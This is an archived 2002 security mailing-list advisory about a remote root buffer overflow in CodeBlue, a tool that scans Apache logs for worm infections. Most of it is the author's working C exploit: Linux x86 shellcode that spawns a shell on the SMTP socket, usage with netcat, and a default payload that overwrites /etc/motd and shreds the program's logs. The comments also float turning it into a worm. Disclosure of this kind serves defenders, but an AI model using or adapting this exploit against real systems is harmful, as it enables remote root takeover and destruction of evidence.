[EXPL] CodeBlue Vulnerable to an Exploitable Buffer Overflow

From: support@securiteam.com
Date: 02/17/02


From: support@securiteam.com
To: list@securiteam.com
Date: Sun, 17 Feb 2002 17:25:13 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  CodeBlue Vulnerable to an Exploitable Buffer Overflow
------------------------------------------------------------------------

SUMMARY

 <http://freshmeat.net/projects/codeblue/> CodeBlue is an attempt to
increase the awareness of hosts that are infected with malicious worms by
scanning Apache log files and emailing the infected hosts with details of
their infection and how to obtain help removing the worm. Currently,
CodeBlue scans Apache logs for Code Red, Code Red 2, and Nimda. A security
vulnerability in the product allows remote attackers to cause the program
to crash executing arbitrary commands.

DETAILS

Exploit code:
/*
 * Demonstration linux-x86 remote root against codeblue v1.1 (from file
header)
 * Otherwise it's known as CodeBlue v4
 *
 * This is a rather trivial to exploit...
 *
 * From get_smtp_reply()
 *
 * "We'll loop infinately, receiving
 * 1 byte at a time until we receive a carriage return
 * or line-feed character, signifying the end of the output"
 *
 * The stack looks like
 *
 * int get_smtp_reply(int sd)
 * {
 * char response[1024];
 * char reply_message[1024];
 * ...
 * I probably don't have to mention it, but it reads the response into
response.
 * ...
 *
 * Also, since this is meant to increase security a little, why doesn't it
 * filter non-alphanumeric chars? Also, since it is playing with untrusted
 * data, why doesn't it drop uids, instead of insisting as running as
root?
 *
 * if ((userid = getuid()) != 0) {
 * fprintf(stderr, "uid %d is invalid!\n", userid);
 * fprintf(stderr, "This program MUST be run as root\n");
 * exit(1);
 * }
 *
 * Usage: gcc exp.c -o exp; ./exp | nc -l -p 25
 * Now you could do (one another terminal)
 * printf "GET /default.ida?NNNNNN HTTP/1.0\n\n" | nc remotehost 80
 * and wait until codeblue runs.
 *
 * Granted, nc makes it remote, but why reinvent the wheel?
 *
 * Oh, and by the way, you'll most likely have to change the offset down
there.
 * Lots of improvements could (well, have) be done, such as a select(),
read(),
 * write(), so you can get a remote terminal... at the moment, all it'll
do
 * is make the id command display. Brute force is interesting, because you
 * have to wait until it's run. I suspect, though I haven't tried, you
could
 * almost double the nop size by playing around with reply_message.
 *
 * If you had a sense of humour, you probably could turn this into a worm.
This
 * is one of the reason I don't really like automated response/attack
software.
 * Or you could just trojan/modify your existing smtp do to this whenever
it
 * recieves a HELO localhost...
 *
 * The interesting part of this is the bug in codeblue helped me win
 * a wargame. We where given root an a box in a lan, and got to penertrate

 * several others. Since the person running it was sick of being scanned
by
 * the various worms, he was running this....
 *
 * Now for the paranoia part, how many of those scans have you recieved
where
 * to check if you where running CodeBlue?
 *
 * laters,
 * -- Andrew Griffiths
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

/* The shellcode beats doing a bindshell/connect code, since codeblue
already is
 * talking to our (supposed) smtp server, so all we have to do is redirect
 * stdin/out/err to fd 5. (Assuming fd 5 is the smtp connection. It was on
 * mine.)
 */

unsigned char sc[] =
/* dupsh basically, dup2(5, (0,1,2)) */
"\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb2\x3f\x88\xd0\xb3\x05"
"\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80"
/* Standard aleph1 shellcode */
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c"
"\x89\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08"
"\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd\x80"
"\xe8\xde\xff\xff\xff/bin/sh";

int main()
{
unsigned char buf[3000];

memset(buf, 0, 3000);

memset(buf, 0x90, 967);
strncpy(buf+967, sc, strlen(sc));
fprintf(stderr, "buf: %s\n", buf);
fprintf(stderr, "strlen(buf): %d\n", strlen(buf));
buf[1036] = 0xd0;
buf[1037] = 0xdf;
buf[1038] = 0xff;
buf[1039] = 0xbf;
#ifdef ICANMODIFYCCODEORMODIFYCOMPILETIMEFLAGS
strcpy(buf + 1040, " id");
#else
strcpy(buf + 1040, " echo warning codeblue has a remote root hole in it
>/etc/motd; shred -z codeblue*log* 2>/dev/null; rm -f codeblue*log*
2>/dev/null; echo you sux. RTFC...");
#endif
printf("%s", buf);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:andrewg@tasmail.com> Andrew
Griffiths.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: remote control program
    ... The security of the interface has nothing to do with SSL. ... the security of your online banking technology also has nothing to do with SSL. ... If the technology was not properly assessed by a qualified security team then I wouldn't trust it. ... for remote work to the same location who complains about jitter and delay ...
    (Security-Basics)
  • RE: remote control program
    ... consider that you meant back-end security measures when I responded; ... I've never seen a vulnerability reported on them anywhere, ... To get in to the application one does not need credentials, ... when you attempt a remote session. ...
    (Security-Basics)
  • Re: Active Directory/HIPPA Question
    ... The client ... > roll out AD when their top priority this year is securing the applications ... Security is one of the biggest reasons. ... ESPECIALLY if you have 800 remote offices. ...
    (microsoft.public.win2000.general)
  • Re: DomainLocalServer$ is not a valid user
    ... it can be a BIG security hole. ... Local System or Network Service account on a machine makes a remote request ... things have access to your SQL Server. ...
    (microsoft.public.sqlserver.security)
  • Re: Gotomypc, remote desktop and other VPNs
    ... "Sanjay Punjab" wrote in message ... > I just started a job at a company that has a tight IT policy (most do ... > you web browse using the browser on the remote pc with realistic ... > security, how does this compare with other VPN's or similar services? ...
    (microsoft.public.windowsxp.general)